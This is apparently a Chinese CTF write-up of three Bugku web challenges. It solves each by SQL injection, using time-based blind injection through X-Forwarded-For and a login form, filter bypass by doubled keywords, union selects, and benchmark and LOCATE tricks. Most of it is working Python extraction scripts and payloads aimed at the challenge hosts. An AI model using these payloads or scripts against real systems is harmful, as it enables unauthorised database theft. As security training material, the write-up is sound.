Bugku writeup3

Web

INSERT INTO注入

  题目描述:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

  可以看到,这是X-Forwarded-For的注入,而且过滤了逗号,。在过滤了逗号的情况下,我们就不能使用if语句了,在mysql中与if有相同功效的就是:

1
select case when xxx then xxx else xxx end;

  而且由于逗号,被过滤,我们就不能使用substr、substring了,但我们可以使用:from 1 for 1,所以最终我们的payload如下:

1
127.0.0.1'+(select case when substr((select flag from flag) from 1 for 1)='a' then sleep(5) else 0 end))-- +

  相应的python代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding:utf-8 -*-
import requests
import sys
# 基于时间的盲注,过滤了逗号 ,
sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
url = 'http://120.24.86.145:8002/web15/'
flag = ''
for i in range(1, 40):
print('正在猜测:', str(i))
for ch in range(32, 129):
if ch == 128:
sys.exit(0)
sqli = sql.format(i, chr(ch))
# print(sqli)
header = {
'X-Forwarded-For': sqli
}
try:
html = requests.get(url, headers=header, timeout=3)
except:
flag += chr(ch)
print(flag)
break

  跑出flag:flag{cdbf14c9551d5be5612f7bb5d2867853}

这是一个神奇的登陆框

  打开网站后进行抓包,进过测试后发现是基于时间的盲注,POC:aaa" or sleep(5) -- +。所以写个脚本跑一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
# -*- coding:utf-8 -*-
import requests

'''
这篇POC: aaa" or sleep(5) -- +
源于Bugku:http://120.24.86.145:9001/sql/
场景:登陆框基于时间的盲注
'''
url = 'http://120.24.86.145:9001/sql/'

def fuzz(sql, test, pos1, pos2, tmp):
left = 32
right = 127
while True:
mid = (left + right) // 2
print('正在测试字符:' + str(mid) + ' ----> ' + chr(mid))
test3 = test.format(pos1-1, pos2, mid)
params = {
'admin_name': 'admin',
'admin_passwd': test3,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
except:
tmp += chr(mid)
return tmp

sqli = sql.format(pos1-1, pos2, mid)
params = {
'admin_name': 'admin',
'admin_passwd': sqli,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
right = mid
except:
left = mid

# database = ''
# sql = "1\" or if(ascii(substr(database(),{0},1))>{1},sleep(5),0) -- +"
# test = "1\" or if(ascii(substr(database(),{0},1))={1},sleep(5),0) -- +"
# for pos in range(1, 50):
# # 测试length(database()),一旦超过长度则不用再执行。
# is_end = sql.format(pos, 1)
# params = {
# 'admin_name': 'admin',
# 'admin_passwd': is_end,
# 'submit': 'GO+GO+GO'
# }
# try:
# html = requests.post(url, params, timeout=3)
# print('======================')
# print('[*]database: ', database)
# print('======================\n')
# break
# except:
# pass
#
# left = 32
# right = 127
# while True:
# mid = (left + right) // 2
# # print('正在测试字符:', str(mid))
# test3 = test.format(pos, mid)
# params = {
# 'admin_name': 'admin',
# 'admin_passwd': test3,
# 'submit': 'GO+GO+GO'
# }
# try:
# html = requests.post(url, params, timeout=3)
# except:
# database += chr(mid)
# print('[+]database: ', database)
# break
#
# sqli = sql.format(pos, mid)
# params = {
# 'admin_name': 'admin',
# 'admin_passwd': sqli,
# 'submit': 'GO+GO+GO'
# }
# try:
# html = requests.post(url, params, timeout=3)
# right = mid
# except:
# left = mid

tables_name = {}
sql = "1\" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1)))>{2},sleep(5),0) -- +"
test = "1\" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1)))={2},sleep(5),0) -- +"
for table_num in range(1, 20):
sqli = sql.format(table_num - 1, 1, 1)
params = {
'admin_name': 'admin',
'admin_passwd': sqli,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
print('[*]已无其他表!')
break
except:
print('[+]正在爆破表', str(table_num))
table = ''
for str_num in range(1, 50):
# 测试length(database()),一旦超过长度则不用再执行。
test2 = sql.format(table_num - 1, str_num, 1)
params = {
'admin_name': 'admin',
'admin_passwd': test2,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
print('======================')
print('[*]table: ', table)
tables_name[table_num] = table
print('======================\n')
break
except:
pass

table = fuzz(sql, test, table_num, str_num, table)
print('[+]table: ', table)

print('******************')
for key in tables_name:
print('[*]table' + str(key) + ': ' + tables_name[key])
print('******************\n')


tb = int(input('>请选择需要爆破的表(数字):'))
# for tb in tables_name:
sql = "1\" or if((ascii(substr((select column_name from information_schema.columns where table_name='" + tables_name[tb]+ "' limit {0},1),{1},1)))>{2},sleep(5),0) -- +"
test = "1\" or if((ascii(substr((select column_name from information_schema.columns where table_name='" + tables_name[tb]+ "' limit {0},1),{1},1)))={2},sleep(5),0) -- +"
colunms_name = {}
for column_num in range(1, 20):
sqli = sql.format(column_num - 1, 1, 1)
params = {
'admin_name': 'admin',
'admin_passwd': sqli,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
print('[*]已无其他字段!')
break
except:
print('[+]正在爆破字段', str(column_num))
column = ''
for str_num in range(1, 50):
# 测试length(database()),一旦超过长度则不用再执行。
test2 = sql.format(column_num - 1, str_num, 1)
params = {
'admin_name': 'admin',
'admin_passwd': test2,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
print('======================')
print('[*]column: ', column)
colunms_name[column_num] = column
print('======================\n')
break
except:
pass

column = fuzz(sql, test, column_num, str_num, column)
print('[+]column: ', column)

print('******************')
for key in colunms_name:
print('[*]column' + str(key) + ': ' + colunms_name[key])
print('******************\n')


cl = int(input('>请选择需要爆破的字段(数字):'))
sql = "1\" or if((ascii(substr(( select " + colunms_name[cl] + " from " + tables_name[tb]+ " limit {0},1),{1},1)))>{2},sleep(5),0) -- +"
test = "1\" or if((ascii(substr(( select " + colunms_name[cl] + " from " + tables_name[tb]+ " limit {0},1),{1},1)))={2},sleep(5),0) -- +"
key = []
for num in range(1, 20):
sqli = sql.format(num - 1, 1, 1)
params = {
'admin_name': 'admin',
'admin_passwd': sqli,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
print('[*]已无其他数据!')
break
except:
print('[+]正在爆破数据', str(num))
tmp_key = ''
for str_num in range(1, 50):
# 测试length(database()),一旦超过长度则不用再执行。
test2 = sql.format(num - 1, str_num, 1)
params = {
'admin_name': 'admin',
'admin_passwd': test2,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
print('======================')
print('[*]column: ', tmp_key)
key.append(tmp_key)
print('======================\n')
break
except:
pass

tmp_key = fuzz(sql, test, num, str_num, tmp_key)
print('[+]key: ', tmp_key)

print('******************')
for tt in key:
print('[*]key: ' + tt)
print('******************\n')

多次

  打开网页后在?id=1后面加个'号,发现错误,然后再添加一个',发现可以闭合。






  然后测试了一下,发现and or &&被过滤掉了,但||和位注入| ^没有被过滤。当使用?id=0' || 1=2 -- +时是返回错误,而?id=0' || 1=1 -- +返回了正确,所以这里存在注入。这里值得注意的是,我使用id=0而不是id=1等非0值,这是因为任何大于0的数进行||都会返回






  这里还有一种判断是否存在注入的方式就是使用异或进行注入,如:?id=0' ^ (1=2) ^ '






  因为在使用and的时候发现是返回了错误,所以猜测后台过滤了一些字符,所以可以使用?id=0' || length('and')=0 -- +检查一下过滤了的函数,如:




  进过一番测试后可以发现是一次替换的方法进行过滤的,因为可以看到当双写了以后它返回的长度是原来字符的长度。如:0' || length('aandnd')=3 -- +返回真。




  然后我们检查下字段数,构造payload:?id=1' oorrder by 2 -- +,可以发现字段数为2




  然后再看显位,构造payload:?id=-1' uniounionn seleselectct 1,2 -- +




  获得表名:ununionion seleselectct 1,table_name from infoorrmation_schema.tables where table_schema=database() limit 0,1-- +






  可以得到表:flag1、hint,两张表。
  然后我们读flag1的字段:ununionion seleselectct 1,column_name from infoorrmation_schema.columns where table_name=0x666c616731 limit 0,1-- +




  然后我们能得到两列:flag1、address。然后查询flag:ununionion seleselectct 1,flag1 from flag1 -- +




  我们得到一串字符拿去提交后却发现并不是正确答案,所以我们再看一下address是什么。




  这里我们得到了下一关的地址。打开后页面如下:




  然后我们再使用上面的套路进行探测,最后我们能发现双写已经不能绕过了,但是却没有过滤if left benchmark select from函数,所以,我们可以使用基于时间的盲注进行注入。payload:
1
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='a', benchmark(7000000,MD5(14545)), 0)  %23

  剩下的爆字段跟值就不一一写了,这里直接写了个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding:utf-8 -*-
from time import sleep
import requests
url = "http://120.24.86.145:9004/Once_More.php?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0})='{1}', benchmark(7000000,MD5(14545)), 0) %23"
# url = "http://120.24.86.145:9004/Once_More.php?id=1' and if(left((select column_name from information_schema.columns where table_name=0x666c616732 limit 0,1),{0})='{1}', benchmark(7000000,MD5(14545)), 0) %23"
# url = "http://120.24.86.145:9004/Once_More.php?id=1' and if(left((select flag2 from flag2),{0})='{1}', benchmark(40000000,MD5(14545)), 0) %23"
database = ''

for i in range(28, 50):
for j in range(32, 128):

tmp = database + chr(j)
print('正在尝试:', tmp)
urli = url.format(i, tmp)
# print(urli)
try:
html = requests.get(urli, timeout=3)
except:
database += chr(j)
print('[+]column: ', database)
break

print(database)

  只要把payload一换就可以使用,不过可能需要多次执行。最终flag:flag{bugku-sql_6s-2i-4t-bug},这里要说的就是left在比较的时候是不区分大小写的,所以一般flag要么大写要么小写,而这道题原本的flag把bugku中的b弄成了大写B,所以一开始提交答案不对,后来经过跟管理员联系后,管理员就把flag都改成小写了。

  这里的另一种解法就是使用locate()进行bool型注入,payload:id=1' and (select LOCATE('a',(select flag2 from flag2)))=1 -- +,这里需要变的就是locate()第一个参数,后面的1不要变,因为它返回的是第一个字符串参数出现在第二个字符串参数中的位置,我们把它置为1就是希望从头开始爆破。脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# -*- coding:utf-8 -*-
import requests
url = "http://120.24.86.145:9004/Once_More.php?id=1' and (select LOCATE('{}',(select flag2 from flag2)))=1 -- +"
database = ''

for i in range(1, 50):
for j in range(32, 128):
tmp = database + chr(j)
print('正在尝试:', tmp)
urli = url.format(tmp)
html = requests.get(urli)
if 'Hello' in html.text:
database += chr(j)
print('[+]key: ', database)
break

# CTF

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×